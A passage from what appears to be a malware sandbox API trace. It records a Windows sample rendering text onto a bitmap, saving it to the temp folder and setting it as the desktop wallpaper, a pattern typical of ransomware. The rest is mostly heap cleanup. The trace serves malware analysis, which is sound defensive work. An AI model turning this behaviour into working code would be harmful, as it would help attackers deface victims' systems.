dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0128.284] GetSystemInfo (in: lpSystemInfo=0x18fe54 | out: lpSystemInfo=0x18fe54*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0128.284] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0128.284] GetSystemInfo (in: lpSystemInfo=0x18fe54 | out: lpSystemInfo=0x18fe54*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0128.284] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0128.284] GetSystemInfo (in: lpSystemInfo=0x18fe54 | out: lpSystemInfo=0x18fe54*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0128.285] Sleep (dwMilliseconds=0x64) [0128.412] HeapDestroy (hHeap=0x3880000) returned 1 [0128.431] CloseHandle (hObject=0x220) returned 1 [0128.431] GetDC (hWnd=0x0) returned 0xa010265 [0128.431] CreateCompatibleDC (hdc=0xa010265) returned 0xab010275 [0128.431] GetDeviceCaps (hdc=0xa010265, index=8) returned 1440 [0128.431] GetDeviceCaps (hdc=0xa010265, index=10) returned 900 [0128.431] CreateCompatibleBitmap (hdc=0xa010265, cx=1440, cy=900) returned 0x6050b8e [0128.456] SelectObject (hdc=0xab010275, h=0x6050b8e) returned 0x185000f [0128.456] GetDeviceCaps (hdc=0xa010265, index=90) returned 96 [0128.456] MulDiv (nNumber=18, nNumerator=96, nDenominator=72) returned 24 [0128.457] CreateFontW (cHeight=-24, cWidth=0, cEscapement=0, cOrientation=0, cWeight=0, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x4, iPitchAndFamily=0x0, pszFaceName=0x0) returned 0x50a0b8c [0128.457] SelectObject (hdc=0xab010275, h=0x50a0b8c) returned 0x18a002e [0128.457] SetBkMode (hdc=0xab010275, mode=1) returned 2 [0128.457] SetTextColor (hdc=0xab010275, color=0xffffff) returned 0x0 [0128.457] GetStockObject (i=2) returned 0x1900012 [0128.457] FillRect (hDC=0xab010275, lprc=0x18fea8, hbr=0x1900012) returned 1 [0132.106] DrawTextW (in: hdc=0xab010275, lpchText="Image text", cchText=-1, lprc=0x18fea8, format=0x11 | out: lpchText="Image text", lprc=0x18fea8) returned 29 [0132.165] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1a) returned 0x20affc0 [0132.166] GetTempPathW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x26 [0132.166] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4c) returned 0x208ebd8 [0132.166] GetTempPathW (in: nBufferLength=0x26, lpBuffer=0x208ebd8 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0132.166] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x20689e0 [0132.166] GetObjectW (in: h=0x6050b8e, c=24, pv=0x18fe5c | out: pv=0x18fe5c) returned 24 [0132.166] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x6f5b30 [0132.167] GetDIBits (in: hdc=0xa010265, hbm=0x6050b8e, start=0x0, cLines=0x384, lpvBits=0x3e20020, lpbmi=0x6f5b30, usage=0x0 | out: lpvBits=0x3e20020, lpbmi=0x6f5b30) returned 900 [0132.222] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\866s90pv.bmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\866s90pv.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x430 [0132.228] WriteFile (in: hFile=0x430, lpBuffer=0x18fe74*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x18fe84, lpOverlapped=0x0 | out: lpBuffer=0x18fe74*, lpNumberOfBytesWritten=0x18fe84*=0xe, lpOverlapped=0x0) returned 1 [0132.229] WriteFile (in: hFile=0x430, lpBuffer=0x6f5b30*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x18fe84, lpOverlapped=0x0 | out: lpBuffer=0x6f5b30*, lpNumberOfBytesWritten=0x18fe84*=0x28, lpOverlapped=0x0) returned 1 [0132.229] WriteFile (in: hFile=0x430, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x4f1a00, lpNumberOfBytesWritten=0x18fe84, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x18fe84*=0x4f1a00, lpOverlapped=0x0) returned 1 [0132.343] CloseHandle (hObject=0x430) returned 1 [0132.544] SystemParametersInfoW (in: uiAction=0x14, uiParam=0x0, pvParam="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\866s90pv.bmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\866s90pv.bmp"), fWinIni=0x3 | out: pvParam=0x20689e0) returned 1 [0133.999] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20689e0) returned 1 [0133.999] DeleteObject (ho=0x50a0b8c) returned 1 [0133.999] DeleteObject (ho=0x6050b8e) returned 1 [0133.999] DeleteDC (hdc=0xab010275) returned 1 [0134.000] ReleaseDC (hWnd=0x0, hDC=0xa010265) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034030) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fdc8) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe9e8) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fd98) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aef68) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe9a0) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20403d0) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fd80) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe970) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034040) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fe10) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abea30) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fd08) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae858) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe8f8) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034050) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fe28) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abea48) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fd38) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae880) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe928) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fdf8) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aefc8) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abea18) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fde0) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aefa8) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abea00) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fcd8) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae800) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe8b0) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae8d0) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae8f8) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe988) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fd50) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae8a8) returned 1 [0134.001] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe940) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fd68) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aef48) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe958) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fd20) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aef28) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe910) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20403c0) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fcf0) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe8c8) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aef88) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae938) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe9d0) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aef08) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae828) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe8e0) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034020) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fdb0) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe9b8) returned 1 [0134.002] RtlFreeHeap (HeapHandle=0x29c0000, Flags=0x0, BaseAddress=0x2abe7d0) returned 1 [0134.002] HeapDestroy (hHeap=0x29c0000) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20344c8) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af088) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e9a0) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fe70) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af008) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e8e0) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034420) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af028) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e8f8) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fe40) returned 1 [0134.338] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae968) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e8b0) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034438) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae990) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e910) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034498) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae9e0) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e970) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034060) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034450) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e928) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fe58) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aefe8) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e8c8) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aea48) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff30) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e9b8) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034480) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af048) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e958) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20344b0) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af068) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e988) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034468) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae9b8) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e940) returned 1 [0134.339] RtlFreeHeap (HeapHandle=0x2b20000, Flags=0x0, BaseAddress=0x2c1e7d0) returned 1 [0134.339] HeapDestroy (hHeap=0x2b20000) returned 1 [0134.341] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034370) returned 1 [0134.341] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034380) returned 1 [0134.341] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eb80) returned 1 [0134.341] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034890) returned 1 [0134.341] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20348a0) returned 1 [0134.341] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ec40) returned 1 [0134.341] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034260) returned 1 [0134.341] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034558) returned 1 [0134.341] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ea90) returned 1 [0134.341] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20343d0) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20343e0) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ebc8) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034990) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20345b8) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ed18) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034230) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034540) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ea48) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034310) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034320) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eb38) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034110) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034120) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e940) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034130) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034140) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e958) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034350) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034360) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eb68) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034210) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034220) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ea30) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20344e0) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af0a8) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e8b0) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20348e0) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20348f0) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ec88) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034270) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034280) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eaa8) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034940) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20345a0) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ecd0) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034390) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20343a0) returned 1 [0134.342] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eb98) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034830) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034840) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ebf8) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20341a0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034510) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e9b8) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034180) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034190) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e9a0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034090) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20340a0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e8e0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20340d0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20340e0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e910) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20343b0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20343c0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ebb0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20341f0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034200) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ea18) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203fab0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20aeec8) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ed60) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034920) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034930) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ecb8) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20349c0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20349d0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ed48) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20340f0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034100) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e928) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20348c0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20348d0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ec70) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20348b0) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034588) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ec58) returned 1 [0134.343] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034900) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034910) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eca0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20349a0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20349b0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ed30) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034970) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034980) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6ed00) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20341b0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20341c0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6e9e8) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034330) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034340) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eb50) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034570) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f820) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eb08) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20342d0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20342e0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x2c70000, Flags=0x0, BaseAddress=0x2d6eaf0) returned 1 [0134.344] RtlFreeHeap (HeapHandle=0x1fb0000, 